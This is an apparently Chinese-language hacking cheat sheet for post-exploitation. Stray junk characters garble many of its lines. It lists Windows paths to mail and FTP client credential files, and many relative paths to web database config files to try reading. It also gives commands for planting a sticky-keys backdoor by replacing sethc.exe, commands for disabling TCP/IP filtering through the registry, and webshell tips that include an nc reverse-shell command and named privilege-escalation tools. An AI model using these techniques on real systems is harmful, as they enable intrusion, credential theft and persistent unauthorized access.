C:\Program Files\Tencent\TM\TMDlls\QQZip.dll
c:\Program Files\Tencent\Tm\Bin\Txplatform.exe
& s) H4 K1 g% o3 f. ?0 nc:\Program Files\Tencent\RTXServer\AppConfig.xml
C:\Program Files\Foxmal\Foxmail.exe
7 F- U" k$ `* A& c) EC:\Program Files\Foxmal\accounts.cfg
/ U8 d& v$ c; S) c$ I" [( B4 J" i" {% tC:\Program Files\tencent\Foxmal\Foxmail.exe
* R: d5 h6 J8 s/ QC:\Program Files\tencent\Foxmal\accounts.cfg
C:\Program Files\LeapFTP 3.0\LeapFTP.exe
C:\Program Files\LeapFTP\LeapFTP.exe
3 o" t- x! x0 Xc:\Program Files\GlobalSCAPE\CuteFTP Pro\cftppro.exe
& b) ]; a5 v& X% b. O$ ic:\Program Files\GlobalSCAPE\CuteFTP Pro\notes.txt
C:\Program Files\FlashFXP\FlashFXP.ini
. h# H* _$ O$ T9 x( b3 w3 H9 pC:\Program Files\FlashFXP\flashfxp.exe
" S) j9 b# w' j& ]. K: vc:\Program Files\Oracle\bin\regsvr32.exe
: m& o" d9 v) tc:\Program Files\腾讯游戏\QQGAME\readme.txt
c:\Program Files\tencent\腾讯游戏\QQGAME\readme.txt
0 F$ `5 g2 D3 C! z0 ic:\Program Files\tencent\QQGAME\readme.txt
  p  q6 [% q2 S) D$ {; P& UC:\Program Files\StormII\Storm.exe

* Y" m7 G' k& }' a8 U& ~0 o' G5 h3.网站相对路径:

% o  ?$ `5 Q" W" R/config.php
../../config.php
../config.php
8 x( C+ u" v0 Y7 q2 P2 J../../../config.php
# g6 n7 Y7 L# s; [) h/config.inc.php
+ w/ }- N3 S4 u% n& h& Y8 R& F./config.inc.php
../../config.inc.php
../config.inc.php
../../../config.inc.php
/conn.php
./conn.php
../../conn.php
9 j( X- M+ R# q" @6 Y9 u../conn.php
6 u. ~% z* I( ^& h../../../conn.php
; Z" Y9 k2 ~1 j* A( Q, k7 v3 D0 t/conn.asp
./conn.asp
7 V: [/ p1 H8 M5 ?$ c3 C../../conn.asp
$ B% s3 U, Z! h9 G0 q( T  T../conn.asp
8 k8 }. c% a3 Y7 |  Q  r( f" _../../../conn.asp
/config.inc.php
7 K5 Q% g7 w9 S! O$ y./config.inc.php
. ?) U. Z# u3 G" P  P& z../../config.inc.php
5 X% ~' _0 P2 n# z../config.inc.php
1 R5 m& X! j% i  }! k../../../config.inc.php
/config/config.php
../../config/config.php
  L0 n2 c6 e6 _- [+ y5 _. T../config/config.php
../../../config/config.php
/config/config.inc.php
7 ^0 c7 f6 I$ h% n. s  w6 F4 T./config/config.inc.php
../../config/config.inc.php
, A/ q! H, I! L: k) ^; z0 D../config/config.inc.php
../../../config/config.inc.php
8 S! N1 }- `( c$ F, H- g9 F/config/conn.php
( l: M0 O7 P* D( ]9 P7 w, F: x% O7 ~./config/conn.php
../../config/conn.php
../config/conn.php
../../../config/conn.php
/config/conn.asp
- I0 ]. s; g+ T, R./config/conn.asp
../../config/conn.asp
../config/conn.asp
" |! }; L' @  u$ a0 o../../../config/conn.asp
/config/config.inc.php
6 q" F: Y+ B8 \( a9 g$ J./config/config.inc.php
../../config/config.inc.php
../config/config.inc.php
../../../config/config.inc.php
/data/config.php
../../data/config.php
( ~# S# J7 _8 s7 D1 n8 f5 h% k../data/config.php
6 _, B7 L$ \$ v% d" o../../../data/config.php
/data/config.inc.php
, L9 f$ P3 H1 E./data/config.inc.php
( u. F2 I- M; w+ x' T. P../../data/config.inc.php
../data/config.inc.php
../../../data/config.inc.php
* @1 o- {$ }" P+ R8 [* H/data/conn.php
; n" {( ?8 n1 R" @( f./data/conn.php
../../data/conn.php
8 N& [: f: k4 W) @../data/conn.php
../../../data/conn.php
, e$ L6 E: Z0 K5 h* e1 {5 n/data/conn.asp
" H( W& Y4 C" j7 b* W* P8 w./data/conn.asp
3 D( ~- k0 @' N  I../../data/conn.asp
7 Y5 p+ i4 Z) b9 n../data/conn.asp
& s3 q* y7 \# E, J1 j# f9 Z! c../../../data/conn.asp
& N4 l; E# Z1 F/data/config.inc.php
/ x3 L& A! X# s+ y" L; C' i./data/config.inc.php
../../data/config.inc.php
../data/config.inc.php
../../../data/config.inc.php
4 i% j. \8 ^( G0 q, n/include/config.php
2 G& C2 [" J! z../../include/config.php
../include/config.php
../../../include/config.php
/include/config.inc.php
" S7 J0 a, ^' Q& T0 z./include/config.inc.php
../../include/config.inc.php
; E+ V3 {# P4 Y, h0 U../include/config.inc.php
4 A! X9 z* [# b2 ~& ~* x' e../../../include/config.inc.php
/include/conn.php
./include/conn.php
../../include/conn.php
../include/conn.php
- {2 z1 G6 I9 [! M../../../include/conn.php
/include/conn.asp
./include/conn.asp
& l' w( f& X% g+ H/ C( S../../include/conn.asp
5 C/ m6 j8 j( [../include/conn.asp
; X) H. P3 b- j0 M& P../../../include/conn.asp
/include/config.inc.php
./include/config.inc.php
../../include/config.inc.php
! [9 ?/ @6 }0 |3 c../include/config.inc.php
0 i9 b6 D# ]+ F' ]' t3 {1 H../../../include/config.inc.php
/inc/config.php
../../inc/config.php
# g& T2 A( ~2 r# }../inc/config.php
* D+ O5 d# @" f9 H../../../inc/config.php
5 \) a8 f, V" g( B( ^/inc/config.inc.php
$ h4 [3 z) {9 F; f" s./inc/config.inc.php
../../inc/config.inc.php
* N3 X3 Y5 O8 N6 K/ }5 E6 d../inc/config.inc.php
4 v8 X. k+ o4 E../../../inc/config.inc.php
/inc/conn.php
./inc/conn.php
6 i1 T1 o5 x& r& |8 ^" l# L../../inc/conn.php
' |8 c8 o' N0 j* ]4 N../inc/conn.php
../../../inc/conn.php
/inc/conn.asp
- |, |5 T% B6 ^- \" j2 z./inc/conn.asp
: v+ O+ ]; x" a, Y../../inc/conn.asp
../inc/conn.asp
../../../inc/conn.asp
! x- [1 I2 P; o' P6 R+ p+ `/inc/config.inc.php
* w7 c" U; @3 @+ }- u; R- I./inc/config.inc.php
../../inc/config.inc.php
../inc/config.inc.php
../../../inc/config.inc.php
/index.php
./index.php
../../index.php
../index.php
../../../index.php
  Z6 e$ U. D, E" o/index.asp
./index.asp
& w$ {5 q. `8 r# h: }) F; k../../index.asp
../index.asp
. g  D0 ~5 k  h, e* ~) U../../../index.asp
替换SHIFT后门
　attrib c:\windows\system32\sethc.exe -h -r -s
$ C7 ^! r' F2 f6 p9 v
, b$ @+ Y- G. c$ w# |  n  J　　attrib c:\windows\system32\dllcache\sethc.exe -h -r -s

　　del c:\windows\system32\sethc.exe

　　copy c:\windows\explorer.exe c:\windows\system32\sethc.exe
% }# P. ]7 G& Z( D* Z7 Y( W% |3 u
; u. j# Q* l* o/ u2 Q  f3 h　　copy c:\windows\system32\sethc.exe c:\windows\system32\dllcache\sethc.exe
9 c' X2 K4 B& q6 g
( n: z0 _( s, a/ y% _$ U% r0 u- \: r　　attrib c:\windows\system32\sethc.exe +h +r +s

# @0 x5 N& b9 L2 H　　attrib c:\windows\system32\dllcache\sethc.exe +h +r +s
  D. ^5 d# u6 r去除TCPIP筛选
/ o  t& I( A" H) r) Q: v# X. \TCP/IP筛选在注册表里有三处，分别是：
& y% ~+ Q7 G3 `( l7 T7 {' ZHKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Tcpip
: K& D7 X( }1 w$ G# W4 [HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip

分别用
1 o  z0 U: W3 Dregedit -e D:\a.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
regedit -e D:\b.reg HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
regedit -e D:\c.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
4 B3 q  ?$ E* L' _命令来导出注册表项
! t/ p. }  |; p
然后把 三个文件里的EnableSecurityFilters"=dword:00000001，改成EnableSecurityFilters"=dword:00000000
  Z9 A5 h5 E8 g% C
1 k, c# ]2 l1 U/ b& ~; l再将以上三个文件分别用
regedit -s D:\a.reg
% o6 J/ ^% D+ y. Zregedit -s D:\b.reg
regedit -s D:\c.reg
导入注册表即可

webshell提权小技巧
cmd路径:
! z/ }+ d* ~9 M5 {* Hc:\windows\temp\cmd.exe
. y& i5 A: |2 w$ A) bnc也在同目录下
& X( h/ ]' M7 a/ C3 p+ ?; x' R8 F例如反弹cmdshell：
% j% f0 k$ C: @7 \0 N0 }"c:\windows\temp\nc.exe -vv ip 999 -e c:\windows\temp\cmd.exe"
- b6 X' e* i5 f: l4 V; A3 o: w通常都不会成功。
8 ~9 O4 a3 h4 |9 G: o9 k
而直接在 cmd路径上 输入 c:\windows\temp\nc.exe
7 n- X2 N( q) H; f命令输入   -vv ip 999 -e c:\windows\temp\cmd.exe
0 b- |7 l. x" C7 O2 z+ o/ d3 X' t却能成功。。
1 z- d, g1 w- ?+ I( e. ^2 S0 D这个不是重点
! d" i6 b6 ^" O4 ~8 x7 J+ U; B我们通常 执行 pr.exe 或 Churrasco.exe 时 有时候也需要 按照上面的 方法才能成功